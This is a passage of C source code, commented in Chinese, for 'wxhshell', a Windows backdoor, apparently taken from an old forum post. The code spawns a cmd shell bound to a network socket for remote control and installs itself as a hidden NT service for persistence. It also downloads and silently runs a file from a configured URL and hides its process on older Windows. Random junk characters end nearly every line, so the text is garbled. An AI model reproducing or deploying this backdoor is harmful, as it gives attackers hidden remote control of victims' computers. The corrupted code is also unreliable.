      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4yZ'+\ +I  
    break; 0r4,27w  
  }  9S<87sO  
  // 安装 ?MW *`U  
  case 'i': { 2&e2/KEWR  
    if(Install()) \+?>KpE,b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZsgJ6 Y  
    else ( M > C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S1Z~-i*w  
    break; dkHye>  
    } ?&ow:OH+  
  // 卸载 G,{=sFX  
  case 'r': { OpNTyKbaD  
    if(Uninstall()) S":55YQev!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #!A'6SgbkM  
    else qw#wZ'<n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2H,^i,  
    break; sIVVF#0}]  
    } Q140b;Z  
  // 显示 wxhshell 所在路径 Sckt gp8  
  case 'p': { DH@]d0N  
    char svExeFile[MAX_PATH]; O^Y}fo'  
    strcpy(svExeFile,"\n\r"); =up!lg^M  
      strcat(svExeFile,ExeFile); \d"uR@$3mG  
        send(wsh,svExeFile,strlen(svExeFile),0); T[ ~8u9/  
    break; A#b`{C~l  
    } *btLd7c%  
  // 重启 Q|gw\.]$&[  
  case 'b': { 5B|&+7dCw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nV[0O8p2Md  
    if(Boot(REBOOT)) {6y@;Fd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v$WH#;(\  
    else { z: ;ZPSn  
    closesocket(wsh); Z(|@C(IL0\  
    ExitThread(0); 4 6yq F  
    } m'!smS x8  
    break; tny^sG/'  
    } >}uDQwX8  
  // 关机 GKk> ;X-  
  case 'd': { }k{h^!fV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L[j73z'  
    if(Boot(SHUTDOWN)) Q#h*C ZT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ycD}7  
    else { z#j)uD  
    closesocket(wsh); tM% f#O  
    ExitThread(0); doX8Tq   
    } G1!yPQa7d  
    break; sC< B  
    } dF`\ewRFn  
  // 获取shell %k"qpu  
  case 's': { sOf;I]E|  
    CmdShell(wsh); as k76  e  
    closesocket(wsh); ='\Di '*  
    ExitThread(0); ,Fv8&tR  
    break; %XQ!>BeE  
  } f Yt y7  
  // 退出 j "^V?e5  
  case 'x': { 9>OPaL n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hoOT]Bsn  
    CloseIt(wsh); @[=K`n:n_  
    break; nZtP!^#  
    } y-1!@|l0:6  
  // 离开 FG6bKvEQm^  
  case 'q': { C&1()U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ch;wvoy  
    closesocket(wsh); \-h%z%{R  
    WSACleanup(); Mx]![O.ye  
    exit(1); C||9u}Q<  
    break; !Z}d^$  
        }  45qSt2  
  } g,YJh(|#{  
  } oRALhaI  
&hSABtr}  
  // 提示信息 5j{jbo =!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M];?W  
} WxrG o o^  
  } g2|qGfl{C  
kgl7l?|O  
  return; &| guPZ  
} 6 o!*bWh  
'  ~F  
// shell模块句柄 q\r@x-&g+  
int CmdShell(SOCKET sock) uex m|5|  
{ DDwj[' R  
STARTUPINFO si;  A|90Ps  
ZeroMemory(&si,sizeof(si)); :p|wo"=@Ge  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~ZuFMVR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c2o.H!>  
PROCESS_INFORMATION ProcessInfo; F3Y/Miw  
char cmdline[]="cmd"; \8}!aTC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |ler\"Eu  
  return 0;  L#>^R   
} {}A1[ Y|  
@,i_Gw)  
// 自身启动模式 u;/5@ADW  
int StartFromService(void) NE1n9  
{ Jjr&+Q^3Tu  
typedef struct x[dR5  
{ QO;OeMQv%  
  DWORD ExitStatus; wa f)S=  
  DWORD PebBaseAddress; Fo:60)Lr  
  DWORD AffinityMask; 7J6D wh{  
  DWORD BasePriority; H-g CY|W  
  ULONG UniqueProcessId; Gdu5 &]H#6  
  ULONG InheritedFromUniqueProcessId; =K:)%Qh  
}   PROCESS_BASIC_INFORMATION; p G-9H3[f#  
6VQe?oh  
PROCNTQSIP NtQueryInformationProcess; .gP}/dj  
;+3XDz v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7+2DsZ^6MW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KM:k<pvi  
AS-%I+ A  
  HANDLE             hProcess; 62D UF  
  PROCESS_BASIC_INFORMATION pbi; g[%^OT#  
u$%;03hJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pcC/$5FQ  
  if(NULL == hInst ) return 0; +!JTEKHKH  
O}Mu_edM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z.$)#vM5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,3P@5Ef  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ON-zhT?v  
l6~wm1vO  
  if (!NtQueryInformationProcess) return 0; 0 YA  
A1p87o>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ur@"wcl"V  
  if(!hProcess) return 0; gCjW !t  
Gzw9E.Hk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sgfci{~  
9h/JW_  
  CloseHandle(hProcess); 30fqD1_{  
C &~s<tcn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vAt ]N)R  
if(hProcess==NULL) return 0; 'Z}3XVZEN  
QJ^'Uyfdn  
HMODULE hMod; my+2@ln  
char procName[255]; f j:q>}V  
unsigned long cbNeeded; {W11+L{8  
aUYq~E tj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,>Yl(=&  
4^3lG1^YY  
  CloseHandle(hProcess); \ 3XG8J  
)C&'5z  
if(strstr(procName,"services")) return 1; // 以服务启动 O-,0c1ts  
!eP)"YWI3  
  return 0; // 注册表启动 $_Kcm"oj  
} Yj{-|2YzL  
t#N@0kIX.  
// 主模块 UpFm3gKF  
int StartWxhshell(LPSTR lpCmdLine) I(Gl8F\c~  
{ - U Elu4n&  
  SOCKET wsl; X"EZpJ'W  
BOOL val=TRUE; k%Wj+\93 f  
  int port=0; 6 qK`X  
  struct sockaddr_in door; 1a]QNl_x  
UNF@%O4_T  
  if(wscfg.ws_autoins) Install(); DcRvZH  
E5QQI9ea  
port=atoi(lpCmdLine); ZGsI\3S  
zXZXp~7)  
if(port<=0) port=wscfg.ws_port; YwU[kr-i  
(,I9|  
  WSADATA data; ]9lR:V sw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pQCocy  
8s9ZY4_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;km^ OO$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;2}wrX  
  door.sin_family = AF_INET; .X\9vVJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M{4U%lk  
  door.sin_port = htons(port); b<27XZ@  
a&!K5(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m"f3hd4D_q  
closesocket(wsl); 3,yzRb  
return 1; tRVz4fk[G  
} lnQY_~s  
IBYSI0  
  if(listen(wsl,2) == INVALID_SOCKET) { $nqVE{ksV  
closesocket(wsl); FSD~Q&9&  
return 1; BF/l#)$yK  
} Y6RbRcJw  
  Wxhshell(wsl); cq"#[y$r  
  WSACleanup(); &cZl2ynPi  
uN@El1ouY  
return 0; })umg8s  
v(P5)R,  
} a`6R}|ZB  
j@.^3:  
// 以NT服务方式启动 xQDWnpFc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #<DS-^W!  
{ {F ',e~}s  
DWORD   status = 0; ymb{rKkN3  
  DWORD   specificError = 0xfffffff; PVaqKCj:6W  
4SJb\R)XK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Jd28/X5&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9@>Q7AUCQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I9L7,~s  
  serviceStatus.dwWin32ExitCode     = 0; W!V-m  
  serviceStatus.dwServiceSpecificExitCode = 0; IG90mpLX  
  serviceStatus.dwCheckPoint       = 0; >';UF;\5]Q  
  serviceStatus.dwWaitHint       = 0; +1nzyD_E  
'x<o{Hi"\B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'fPDODE  
  if (hServiceStatusHandle==0) return; 7O,!67+^~  
uxlrJ1~M  
status = GetLastError(); =Q#d0Q  
  if (status!=NO_ERROR) 8'M:uI  
{ TTGWOC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \)i,`bz  
    serviceStatus.dwCheckPoint       = 0; HcM/  
    serviceStatus.dwWaitHint       = 0; 4 q\&Mb3  
    serviceStatus.dwWin32ExitCode     = status; -8yN6 0|  
    serviceStatus.dwServiceSpecificExitCode = specificError; hv*XuT/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mc{-2  
    return; rV}&G!V_t  
  } ]G Blads  
4"veqrC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N(%(B  
  serviceStatus.dwCheckPoint       = 0; bnZ H  
  serviceStatus.dwWaitHint       = 0; o37D~V;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zEt!Pug  
} >qZl s'  
Xi;<O&+  
// 处理NT服务事件,比如:启动、停止 &WZ&Tt/)/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -""(>$b 2  
{ og&-P=4O  
switch(fdwControl) EHK+qrym  
{ beB3*o  
case SERVICE_CONTROL_STOP: ~ R eX$9  
  serviceStatus.dwWin32ExitCode = 0; Q/0oe())  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]QGo(+  
  serviceStatus.dwCheckPoint   = 0; \1hQ7:f;\  
  serviceStatus.dwWaitHint     = 0; g3 Oro}wt6  
  { ={;7WB$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QD-`jV3  
  } Lngf,Of.e  
  return; dDa&:L  
case SERVICE_CONTROL_PAUSE: 0U8'dYf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2"c5<  
  break; nl~ Z,Y$  
case SERVICE_CONTROL_CONTINUE: R '8S)'l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7CH.BY  
  break; @9~x@[  
case SERVICE_CONTROL_INTERROGATE: [Sj"gLj  
  break; A4(k<<xjE  
}; w c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b,X+*hRt  
} \VWgF)_  
\/b[V3<"  
// 标准应用程序主函数 F"1tPWn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rBOH9L  
{ Z5 7.+z<  
$%4<q0-  
// 获取操作系统版本 KTBtLUH]*F  
OsIsNt=GetOsVer(); =~5N/!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;y-:)7J  
eL.WP`Lz  
  // 从命令行安装 f8ZuG !U  
  if(strpbrk(lpCmdLine,"iI")) Install(); :^U>n{   
,U)&ny  
  // 下载执行文件 efE=5%O  
if(wscfg.ws_downexe) { CM%;/[WBxy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E M`'=<)V  
  WinExec(wscfg.ws_filenam,SW_HIDE); I0qJr2[X~  
} /;{L~f=et)  
:@a0h  
if(!OsIsNt) { bI`JG:^b  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,SNt*t1"  
HideProc(); v+}${h9  
StartWxhshell(lpCmdLine); oo BBg@  
} ><S(n#EB  
else O /:FY1  
  if(StartFromService()) ,fqM>Q  
  // 以服务方式启动 }"SqB{5e(  
  StartServiceCtrlDispatcher(DispatchTable); c{ +bY .J  
else y0ObcP.MA  
  // 普通方式启动 @WJ\W`P  
  StartWxhshell(lpCmdLine); M< .1U?_#  
&,=FPlTC=  
return 0; e6bh,BwgQq  
}
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只看该作者 1 发表于: 2006-10-10
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